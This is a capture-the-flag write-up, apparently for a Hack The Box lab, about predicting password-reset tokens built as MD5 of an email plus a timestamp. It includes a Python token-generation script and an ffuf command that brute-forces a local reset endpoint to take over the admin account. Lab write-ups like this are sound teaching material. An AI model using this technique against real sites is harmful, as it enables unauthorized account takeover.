Is Someone Brute-Forcing the Token Here?
This looks suspicious, haha! But let’s get straight to the point.
Upon accessing the website, I noticed a login panel along with a password reset functionality. The password reset required three inputs: an email, a token, and a new password. This seemed a bit suspicious to me, so I decided to dig deeper.
Finding the Admin Email
The challenge included a Docker file, which I downloaded and analyzed. Inside, I found several JavaScript files, and among them, I discovered the admin email:
admin@hackthebox.com
Additionally, there was a file named ResetToken.js, which contained the logic for generating the reset token:
const seed = email + currentTime.toString();
const token = crypto.createHash('md5').update(seed).digest('hex');
Understanding the Token Generation Mechanism
The token is generated using an MD5 hash of a string that consists of the email and the current timestamp. This results in a 32-character hash containing letters (a-f) and numbers (0–9). Since the token is time-dependent, it changes with each request based on the timestamp.
Exploiting the Token
Using this information, I created a script to generate a list of possible tokens by iterating over timestamps from a reasonable timeframe when the token might have been generated. Then, I used ffuf to brute-force the password reset endpoint with these tokens.
import hashlib
import time
from datetime import datetime, timezone
def generate_tokens_for_range(email: str, time_range: int):
print("[*] Starting token generation for a {}ms range...".format(time_range))
start_time = int(time.time() * 1000)
print("[*] Start time:", start_time)
for offset in range(time_range + 1):
current_time = start_time + offset
seed = f"{email}{current_time}"
token = hashlib.md5(seed.encode()).hexdigest()
full_date_time = datetime.fromtimestamp(current_time / 1000, timezone.utc).strftime('%Y-%m-%d %H:%M:%S.%f UTC')
print(f"[+] Time (milliseconds): {current_time} | Time (UTC): {full_date_time} | Token: {token}")
print("[*] Token generation for range complete.")
if __name__ == "__main__":
email = "admin@hackthebox.com"
time_range = 4000
generate_tokens_for_range(email, time_range)
Brute-Forcing the Password Reset Endpoint
I identified the API endpoint responsible for processing the password reset request:
http://127.0.0.1:8000/api/reset-password
Using ffuf, I attempted to brute-force the token:
ffuf -u http://127.0.0.1:8000/api/reset-password -X POST -d '{"email":"admin@hackthebox.com","token":"FUZZ","newPassword":"admin"}' -w wordlist.txt -H "Content-Type: application/json" -fw 5
Gaining Admin Access
Once the correct token was found, I successfully reset the admin password. Logging in with the new credentials, I gained access to the admin account and retrieved the flag.